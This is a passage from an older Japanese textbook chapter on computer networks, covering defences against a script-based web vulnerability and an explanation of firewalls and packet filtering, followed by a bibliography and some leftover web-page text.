名企業だから安全であるとは言いきれなくなっています.さて, このような脆弱性から自らを守る方法として残されている手段は,

1. このような危険なサービスは利用しない.

2. Java Script, Java を有効にしない.

という方法が考えられます. 少なくとも, Java Script などのスクリプティング機能が無効である限り, この脆弱性には影響されないとされています. しかし, このようなインターネットサービスを利用する時点で,スクリプティング機能が有効である必要が多く, 最も安全な方法は, スクリプティング機能を有効にしない限り利用出来ないサービスは危険性があると考え, それを利用しないことが最大の防御手段です.

3.5.6.4 ファイアーウォール

ファイアーウォール (firewall) とは, LAN の入り口でパケット・フィルタリング (packet filtering) を行う機能を持つルータ等を指す. ファイアーウォールでは, 通過するすべてのパケットの発信元と送信先とそれぞれのポート番号を調べ, 外部からの不要なパケット（例えば, メールサーバ以外への smtp パケット

85２００２年初頭に設立された日本国内の銀行でも, 設立直後にこの脆弱性が確認されました. それにも関わらず, 当該の銀行はこの脆弱性に対してコメントを発表しませんでした. この銀行は「二重振り込み」などの事件を起し, 設立時の「日本の銀行がやらなかったことを実施します」というコメント通りのことをやってしまいました.

part1-a-2.tex,v 1.2 2003-06-02 16:18:14+09 naito Exp


など）を切り落とし, 内部ホストのセキュリティを確保することができ, 今日では, LAN そのもののセキュリティを高めるために有効な手段と考えられている. 通常, ファイアーウォールにより, 外部から LAN へのアクセスをメールサーバ, WWW サーバ等ごく少数に限ることが多い.

part1-a-2.tex,v 1.2 2003-06-02 16:18:14+09 naito Exp

131

References

[1] 尾家祐二, 後藤滋樹, 小西和憲, and 西尾章治郎. インターネット入門. 岩波書店, 2001.

[2] 堀良彰, 池永全志, 門林雄基, and 後藤滋樹. ネットワークの相互接続. 岩波書店, 2001.

[3] マルチメディア通信研究会. インターネットＲＦＣ事典. アスキー出版局, 1998.

[4] 竹下隆史, 荒井透, and 苅田幸雄. マスタリングＴＣＰ／ＩＰ入門編. オーム社開発局, 1994.

[5] D. Wood. 電子メールプロトコル－基本・実装・運用－. オライリージャパン, 2000.

[6] A. Frisch. UNIX システム管理. オライリージャパン, 1998.

[7] S. Garfinkel and G. Spafford. UNIX & インターネットセキュリティ. オライリージャパン, 1998.

[8] C. E. Spurgeon. 詳説イーサーネット. オライリージャパン, 2000.

[9] D. B. Chapman and E. D. Zwichy. ファイアウォール構築. オライリージャパン, 1996.

[10] C. Stall. カッコウはコンピュータに卵を産む. 草思社, 1991.

[11] T. Shimomura and J. Markoff. Takedown: The pursuit and capture of American’s most wantedcomputer outlaw. Secker & Warburg, 1995.

[12] 前川守. オペレーティングシステム. 岩波書店, 1988.

[13] G. S. Sidhu, R. F. Andrews, and A. B. Oppenheimer. Inside AppleTalk, second edition. アジソン・ウエスレイ, 1992.

[14] 加賀山茂. インターネットと法. http://www.ky.xaxon.ne.jp/~kagayama/computer/, 2000.

[15] CERT/CC. CERT Security Adovisaries. http://www.cert.org/adovisaries/.

[16] 久保仁. 教育学部におけるコンピュータ教育とその実践. 常葉学園教育学部紀要.

3章コンピュータネットワーク -...

Documents

Transcript of 3章コンピュータネットワーク -...

3章 コンピュータネットワーク -...

Documents

Transcript of 3章 コンピュータネットワーク -...

3章コンピュータネットワーク -...

Transcript of 3章コンピュータネットワーク -...